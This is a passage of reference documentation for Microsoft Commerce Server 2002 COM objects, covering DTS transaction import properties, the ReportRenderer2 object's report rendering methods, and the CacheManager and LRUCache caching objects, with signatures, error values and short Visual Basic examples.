[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
[out,retval] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceType


_DTSTransactionImport::get_SourceType, put_SourceType Property [C++]

DTSTransactionImport.SourceType Property [Visual Basic]

The SourceType property is an enumeration that contains the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_SourceType(
 int SourceType
);

Put method:

HRESULT _DTSTransactionImport::put_SourceType(
 int SourceType
);
[Visual Basic]
Property SourceType() As Integer

Parameters

SourceType[C++]
[in] When putting the property, an int that contains the source type.
[out, retval] When getting the property, an int that contains the source type.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName


ReportRenderer2 Object [C++]

ReportRenderer2 Object [Visual Basic]

Use this object to render (display) or export a static report synchronously.

ProgID: | Commerce.ReportRenderer (Externally creatable)
COM Class Name: | ReportRenderer2
Type Library Name: | Microsoft Commerce 2002 Report Renderer Type Library
DLL Name: | ReportRenderer2.dll
Threading Model: | Both
[C++]
COM Interface Name: | _ReportRenderer2
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _ReportRenderer interface to access the methods of the ReportRenderer object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Init | Runs a static report.
ExecGroupedReport | Runs a grouped report, which creates a set of reports sliced on the specified dimensions.
[Visual Basic]
Method | Description
Init | Runs a static report.
ExecGroupedReport | Runs a grouped report, which creates a set of reports sliced on the specified dimensions.

Properties

[C++]
Property | Value | Description
BizdeskDocPath | BSTR | Specifies the URL for the default ASP page in the directory that contains the report help files.
ReportDirectory | BSTR | Specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. Used only for grouped reports.
ReportLocale | Long | Describes the locale used for rendering dates in the report header.
[Visual Basic]
Property | Value | Description
BizdeskDocPath | String | Specifies the URL for the default ASP page in the directory that contains the report help files.
ReportDirectory | String | Specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. Used only for grouped reports.
ReportLocale | Long | Describes the locale used for rendering dates in the report header.

Remarks

The ReportRender object must be passed the ReportStatusID parameter of the report to be rendered in its initialization string. This parameter is set when the report is run.

See Also

Analysis/Reporting Schema

Analysis/Reporting XML Structures

[C++] AsyncRpt Object

[C++] ListManager Object

[Visual Basic] AsyncRpt Object

[Visual Basic] ListManager Object

Running Reports


_ReportRenderer2 Methods [C++]

ReportRenderer2 Methods [Visual Basic]

Methods

[C++]
Method | Description
Init | Runs a static report.
ExecGroupedReport | Executes a set of grouped reports. Also creates a set of reports sliced on the specified dimensions.
[Visual Basic]
Method | Description
Init | Runs a static report.
ExecGroupedReport | Executes a set of grouped reports. Also creates a set of reports sliced on the specified dimensions.


_ReportRenderer2::Init Method [C++]

ReportRenderer.Init Method [Visual Basic]

Use this method to initialize the ReportRenderer object and to render or export a static report synchronously.

Definition

[C++]
HRESULT IreportRenderer2::Init(
  BSTR* sParamString,
  VARIANT_BOOL* pvResult
);
[Visual Basic]
Function Init(
  sParamString As String
) As Boolean

Parameters

sParamString [C++]
[in, out] A pointer to a BSTR used to supply parameters to the ReportRenderer object.
sParamString [Visual Basic]
A String used to supply parameters to the ReportRenderer object.
pvResult [C++]
[out, retval] A pointer to a VARIANT_BOOL used to indicate whether the operation was successful. True (1) indicates success.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean that indicates whether the initialization was successful. True (1) indicates success.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The sParamString parameter consists of a string containing six parameters delineated by the '|' symbol. The string is of the form:

   "ReportStatusID|Data warehouse connection string|
    OLAP connection string|Destination connection string|
    Destination table name|Report execution time"

The possible parameters consist of the following:

  • ReportStatusID - used to identify the report to be displayed or exported. This parameter is stored in the ReportStatus table which is created when a report is run or exported.
  • Data warehouse connection string - where the underlying data is stored. A valid connection string is of the type "Provider=SQLOLEDB;Data Source=Server Name;Initial Catalog=Database Name;Integrated Security=’SSPI’".
  • OLAP connection string - where the underlying OLAP data is stored. A valid connection string is of the type "Provider=msolap;DATA SOURCE=Server Name;INITIAL CATALOG=Database Name;". You will use the OLAP connection string only with reports that are based on OLAP.
  • Destination connection string - where the table that will contain the exported report data is located. A valid connection string is of the type "Provider=SQLOLEDB;Data Source=Server Name;Initial Catalog=Database Name; Integrated Security=’SSPI’".
  • Destination table name - the table that will contain the exported report data.
  • Report execution time - the time when the report was executed. If not supplied, this defaults to the current time in the format of the client computer.

The actual parameters used depend on the type of report (SQL or MDX) and whether the report is being displayed or exported. The ReportStatusID and the Data warehouse connection string parameters are required in all cases. The remaining parameters are required, as shown in the following table. Parameters not used are left blank.

Action- Report Type | Report StatusID | Data Warehouse connection string | OLAP connection string | Destination connection string | Destination table name | Report execution time
Display-SQL | X | X |  |  |  | X
Display-MDX | X | X | X |  |  | X
Export-SQL | X | X |  | X | X |
Export-MDX | X | X | X | X | X |

The ReportRenderer object constrains displayed reports with the following limitations:

  • Maximum of 1000 rows.
  • Maximum of 50 columns.
  • Maximum of 5 dimension levels for each row or column dimension.

The number of rows and columns is determined by the report query, report parameters, and report definitions. The number of dimensions is set in the ReportDimension table (for SQL queries) when the report is created. Trying to display a report outside these limitations results in the report being truncated at the above limits. There are no limits when exporting a report. For information on the report tables, see Analysis/Reporting Schema.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvResult parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oReportRenderer is a Commerce ReportRenderer object

' Display a static SQL report

   oReportRenderer.Init("7|DRIVER={SQL Server};" _
    & "SERVER=MyServer;DATABASE=Retail_dw; Integrated Security=’SSPI’" _
    & "||||10/01/2000 3:45:56 pm" )

' Export a static SQL report

   oReportRenderer.Init("7|DRIVER={SQL Server};SERVER=MyServer;" _
    & "DATABASE=Retail_dw;UID=sysadmin;PWD=123;||Provider=SQLOLEDB;" _
    & "Persist Security Info=False; Integrated Security=’SSPI’;" _
    & "Initial Catalog=Retail_commerce;Data Source=MyServer;|" _
    & "OutPutTableName|10/01/2000 3:45:56 pm")

' Display a static MDX report

   oReportRenderer.Init("19|DRIVER={SQL Server};SERVER=MyServer;" _
    & "DATABASE=Retail_dw; Integrated Security=’SSPI’" _
    & ";|data source=MyServer;" _
    & "Initial Catalog=Retail_dw;|||10/01/2000 3:45:56 pm")

' Export a static MDX report

   oReportRenderer.Init("19|DRIVER={SQL Server};SERVER=MyServer;" _
    & "DATABASE=Retail_dw; Integrated Security=’SSPI’"
    & ";|data source=MyServer;" _
    & Initial Catalog=Retail_dw;|Provider=SQLOLEDB;" _
    & "Persist Security Info=False; Integrated Security=’SSPI’;" _
    & "Initial Catalog=Retail_commerce;Data Source=MyServer;|" _
    & "OutPutTableName|10/01/2000 3:45:56 pm")

See Also

[C++] ReportRenderer Object

[C++] Analysis/Reporting Schema

[Visual Basic] ReportRenderer Object

[Visual Basic] Analysis/Reporting Schema


_ReportRenderer2::ExecGroupedReport Method [C++]

ReportRenderer2.ExecGroupedReport Method [Visual Basic]

Use this method to execute a set of grouped reports. ExecGroupedReport also creates a set of reports sliced on the specified dimensions.

Definition

[C++]
HRESULT ReportRenderer2::ExecGroupedReport(
  BSTR* sParamString,
  VARIANT_BOOL* pvResult
);
[Visual Basic]
Function ExecGroupedReport(
  sParamString As string
) As Boolean

Parameters

sParamString [C++]
[in/out] Pointer to a BSTR containing parameters for the ReportRenderer object.
SParamString [Visual Basic]
String containing parameters for the ReportRenderer object.
PvResult [C++]
[out, retval] A pointer to a VARIANT_BOOL used to indicate whether the operation was successful. True (1) indicates success.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean that indicates whether the initialization was successful. True (1) indicates success.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] _ReportRenderer2 Object

[Visual Basic] ReportRenderer2 Object


_ReportRenderer2 Properties [C++]

ReportRenderer2 Properties [Visual Basic]

Properties

[C++]
Property | Value | Description
BizdeskDocPath | BSTR | Contains the URL describing the default ASP page in the directory that contains the report help files.
ReportDirectory | BSTR | Specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. Used only for grouped reports.
ReportLocale | String | Describes the locale used for rendering dates in the report header.
[Visual Basic]
Property | Value | Description
BizdeskDocPath | String | Contains the URL describing the default ASP page in the directory that contains the report help files.
ReportDirectory | String | Specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. Used only for grouped reports.
ReportLocale | String | Describes the locale used for rendering dates in the report header.


ReportRenderer2::get_BizDeskDocPath, put_BizDeskDocPath Property [C++]

ReportRenderer2.BizDeskDocPath Property [Visual Basic]

This property contains the URL describing the default ASP page in the directory that contains the report help files.

Definition

[C++]

Get method:

HRESULT ReportRenderer2::get_BizDeskDocPath(
 BSTR* sBizDeskDocPath
);

Put method:

HRESULT ReportRenderer2::put_BizDeskDocPath(
 BSTR* sBizDeskDocPath
);

Putref method:

HRESULT ReportRenderer2::putref_BizDeskDocPath(
 BSTR* sBizDeskDocPath
);
[Visual Basic]
Property BizDeskDocPath As String

Parameters

[C++]

sBizDeskDocPath
[in, optional] Pointer to a string containing the URL for the new default ASP page.

[out] Pointer to a string containing the URL for the current default ASP page.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] _ReportRenderer2 Object

[Visual Basic] ReportRenderer2 Object


ReportRenderer2::get_ReportDirectory, put_ReportDirectory Property [C++]

ReportRenderer2.ReportDirectory Property [Visual Basic]

This property specifies the local path on the Business Desk IIS machine where Commerce Server has rendered the completed reports. You can use ReportDirectory only for grouped reports.

Definition

[C++]

Get method:

HRESULT ReportRenderer2::get_ReportDirectory(
 BSTR* ReportDirectory
);

Put method:

HRESULT ReportRenderer2::put_ReportDirectory(
 BSTR* ReportDirectory
);
[Visual Basic]
Property ReportDirectory As String

Parameters

[C++]
ReportDirectory
[in] Pointer to a string containing the new local path of the Business Desk IIS machine.

[out] Pointer to a string containing the current local path of the Business Desk IIS machine.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] _ReportRenderer2 Object

[Visual Basic] ReportRenderer2 Object


ReportRenderer2::get_ReportLocale, put_ReportLocale Property [C++]

ReportRenderer2.ReportLocale Property [Visual Basic]

Describes the locale used for rendering dates in the report header.

Definition

[C++]

Get method:

HRESULT ReportRenderer2::get_ReportLocale(
 BSTR* ReportLocale
);

Put method:

HRESULT ReportRenderer2::put_ReportLocale(
 BSTR* ReportLocale
);

Putref method:

HRESULT ReportRenderer2::putref_ReportLocale(
 BSTR* ReportLocale,
);
[Visual Basic]
Property ReportLocale As String

Parameters

[C++]

ReportLocale
[in] Pointer to a string containing the new locale ID.

[out] Pointer to a string containing the current locale ID.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The default value for the report locale is 1033.

See Also

[C++] _ReportRenderer2 Object

[Visual Basic] ReportRenderer2 Object


Cache Objects

The Commerce Server caching objects manage the stored profile, catalog, transaction, and campaign data for your site.

The Caching Programming Concepts topic describes the major issues relating to the use of the cache objects.

Objects

Visual Basic reference | C++ invocation | Description
CacheManager | CacheManager | Provides generic caching services.
LRUCache | LRUCache | Provides a least recently used (LRU) cache for the CacheManager object. It stores a limited number of entries and sorts them according to the least recently used element.

Examples

Example | Description
Code to Implement Custom Cache Components | Describes how to implement custom cache components.
Code to Manipulate an LRUCache Object | Describes how to manipulate an LRUCache object.


Caching Programming Concepts

There are two cache objects used by Commerce Server 2002, the CacheManager object and the LRUCache object. This section provides an overview of the programming concepts associated with these objects.

This section contains:

  • CacheManager Object
  • LRUCache Object

CacheManager Object

The CacheManager object is normally created in the Application_OnStart event in the Global.asa file for an Active Server Pages (ASP) application. It uses the services of other Component Object Model (COM) objects called Loader and Writer components, whose job it is to populate caches with data and write data that has been collected in the cache, respectively. Each cache is required to have a Loader component configured, but the Writer component is optional. The CacheManager object is configured by setting the LoaderProgId, LoaderConfig, WriterProgId, and WriterConfig properties for each cache being created.

After one or more caches have been configured in an application, any ASP page in the application can use the GetCache method of the CacheManager object to access the cached data. The type of cache object returned, either a Dictionary object or an LRUCache object, depends on the configuration of the LoaderProgId property for the cache.

The CacheManager object can be configured to automatically refresh each cache periodically, based on the RefreshInterval property. Automatic cache refresh can also be disabled by setting the RefreshInterval property to zero (0), which is the default. The CacheManager object also retries failed load operations after a configurable pause, controlled with the RetryInterval property.

When the CacheManager object refreshes the cache, either from an explicit call to the RefreshCache method or based on the refresh interval expiring, it performs several actions. First, if the cache has been configured with a Writer component, the CacheManager object creates, configures, and executes the Writer component to record performance data collected since the last refresh operation. If the Writer component fails, then the entire refresh operation is aborted. Next, the CacheManager object creates, configures, and executes the specified Loader component to repopulate the cache. A Loader component can be designed such that if it determines that the existing contents of the cache are current, or otherwise sufficient, it can simply return a CACHE_E_NOCACHE_UPDATED message. When the CacheManager object recognizes this return code, it does not replace the existing cache with the newly created one that was passed to the Loader component, and any changes that were made to the new cache object are discarded.

For more information, see CacheManager Object.

LRUCache Object

The LRUCache object is used to support the creation, storage, and retrieval of key/value pairs from a cache. LRUCache objects are similar to Dictionary objects, except that LRUCache objects can only store a limited number of elements. The LRUCache object ranks elements from most-recently-used to least-recently-used. When the LRUCache object is at capacity, it removes the least-recently-used element from the cache and adds the new element. The replacement algorithm used by the LRUCache object is an approximate method that allows the cache size to grow to 110 percent of its maximum size setting. After this limit is reached, the least-recently-used 10 percent of items are removed from the cache.

For more information, see LRUCache Object.


CacheManager Object [C++]

CacheManager Object [Visual Basic]

Use this object to establish and use a collection of data caches. Each data cache is either a Dictionary object or an LRUCache object. You can specify which one you would like to use by setting the CacheObjectProgID property.

ProgID: | Commerce.CacheManager (Externally creatable)
COM Class Name: | CacheManager
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | ICacheManager
Interface ID Constant: | IID_ICacheManager
Header File: | None
[C++]

In C++, use the ICacheManager interface to access the properties and methods of the CacheManager object.

Methods

[C++]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.
[Visual Basic]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.

Properties

[C++]
Property | Type | Description
AppUrl | BSTR | Stores the full URL of the application. This property is read/write.
CacheObjectProgId | BSTR | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | BSTR | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | long | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | long | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | BSTR | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.
[Visual Basic]
Property | Type | Description
AppUrl | String | Stores the full URL of the application. This property is read/write.
CacheObjectProgId | String | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | String | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | long | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | long | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | String | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.

See Also

Core Object Programming Concepts

Code to Implement Custom Cache Components


ICacheManager Methods [C++]

CacheManager Methods [Visual Basic]

Methods

[C++]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.
[Visual Basic]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.

Methods

[C++]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.
[Visual Basic]
Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.


ICacheManager::GetCache Method [C++]

CacheManager.GetCache Method [Visual Basic]

Use this method to retrieve either the Dictionary or LRUCache object for the specified cache name.

Definition

[C++]
HRESULT ICacheManager::GetCache(
 BSTR bstrName,
 IDispatch** ppdict
);
[Visual Basic]
Function GetCache(
 bstrName As String
) As IDispatch

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the cache to be retrieved.
bstrName [Visual Basic]
A String that contains the name of the cache to be retrieved.
ppdict [C++]
[out,retval] A pointer used to return the IDispatch interface of the data cache Dictionary object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to the data cache Dictionary object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is designed to be lightweight and fast. It is commonly called several times on any given ASP page.

The first time the GetCache method or the RefreshCache method is called, the data cache object is created and the configured CacheLoader component is invoked to populate it with data. Subsequent calls to the GetCache method may return the same cache object or a new cache object that is created when the cache is refreshed.

If the first call to the GetCache method for a particular cache results in a failed refresh, then the CacheManager object will not immediately retry a refresh when more GetCache method calls are made for the same cache. This is to avoid recurring timeouts that might bring down a system, for example if a database connection becomes temporarily unavailable. In this failure scenario, subsequent calls to the GetCache method will return an error indicating that the cache load failed and will not be retried until the refresh interval has elapsed or until the RefreshCache method is explicitly called.

After a cache has successfully been created, if a subsequent refresh of the cache fails, then the existing cache object is returned until a later refresh succeeds. The CacheManager object provides high availability to cache data at the expense of ensuring the cached data is up to date.

[Visual Basic]

Example

'oMyCache is an object
'strMyCacheName is a String containing the name of an existing cache.

Set oMyCache = myCacheManager.GetCache(strMyCacheName)

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::RefreshCache Method [C++]

CacheManager.RefreshCache Method [Visual Basic]

Use this method to force an immediate refresh of a data cache Dictionary object. This method is synchronous, not returning to the caller until the specified data cache is refreshed.

Definition

[C++]
HRESULT ICacheManager::RefreshCache(
 BSTR bstrName
);
[Visual Basic]
Sub RefreshCache(
 bstrName As String
)

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the data cache to be refreshed.
bstrName [Visual Basic]
A String that contains the name of the data cache to be refreshed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the specified cache is in the middle of being refreshed when the RefreshCache method is invoked, presumably by the background timer thread or a different foreground thread, this method will wait until the refresh operation is complete and then return. It will not result in another refresh operation.

[Visual Basic]

Example

'strMyCacheName is a String containing the name of an existing cache.

myCacheManager.RefreshCache(strMyCacheName)

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager Properties [C++]

CacheManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AppUrl | BSTR | Stores the full URL of the application. This property is read/write.
CacheObjectProgId | BSTR | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | BSTR | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | long | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | long | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | BSTR | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.
[Visual Basic]
Property | Type | Description
AppUrl | String | Stores the full URL of the application. This property is read/write.
CacheObjectProgId | String | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | String | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | long | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | long | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | IDispatch | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | String | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.


ICacheManager::get_AppUrl, put_AppUrl Property [C++]

CacheManager.AppUrl Property [Visual Basic]

The AppUrl property is a read/write string that contains the full URL of the application.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_AppUrl(
 BSTR* AppUrl
);

Put method:

HRESULT ICacheManager::put_AppUrl(
 BSTR AppUrl
);
[Visual Basic]
Property AppUrl() As String

Parameters

AppUrl [C++]
[in] When putting the property, a BSTR that contains the full URL of the application.
[out,retval] When getting the property, a pointer to a BSTR used to return the full URL of the application.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The default value for this property is the URL of the current Internet Information Services (IIS) 5.0 application. Depending on the URL used to access the IIS application the first time after it is started, this URL could contain the special host name "localhost," preventing it from being accessed externally. Therefore, it is best to explicitly set this property to the full URL of the IIS application.

Unlike the other properties of CacheManager object that are set on a per-cache basis, the AppUrl property is a global property. The AppUrl property is generally used to register all of the caches running in a web server farm so that they can be managed without requiring explicit registration by an administrator. The Publish Campaign module in Commerce Server Business Desk is an example of this.

If the cache object is a Dictionary object, then the value of this property is passed to the CacheLoader and CacheWriter objects during each cache refresh. It will be put in the _AppUrl key in the Dictionary object.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_CacheObjectProgId, put_CacheObjectProgId Property [C++]

CacheManager.CacheObjectProgId Property [Visual Basic]

The CacheObjectProgId property is a read/write String that contains the name of the object to be used internally to perform caching functions for this CacheManager object. It also determines the type of object returned by the GetCache method.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_CacheObjectProgId(
  BSTR bstrName,
  BSTR* CacheObjectProgId
);

Put method:

HRESULT ICacheManager::put_CacheObjectProgId(
  BSTR bstrName,
  BSTR CacheObjectProgId
);
[Visual Basic]
Property CacheObjectProgId(
  bstrName As String
) As String

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the cache object.
bstrName [Visual Basic]
A String that contains the name of the cache object.
CacheObjectProgId [C++]
[in] When putting the property, a BSTR that contains the Programmatic Identifier (ProgID) of the cache object.
[out,retval] When getting the property, a pointer to a BSTR used to return the ProgID of the cache object.
[C++]

Return Values

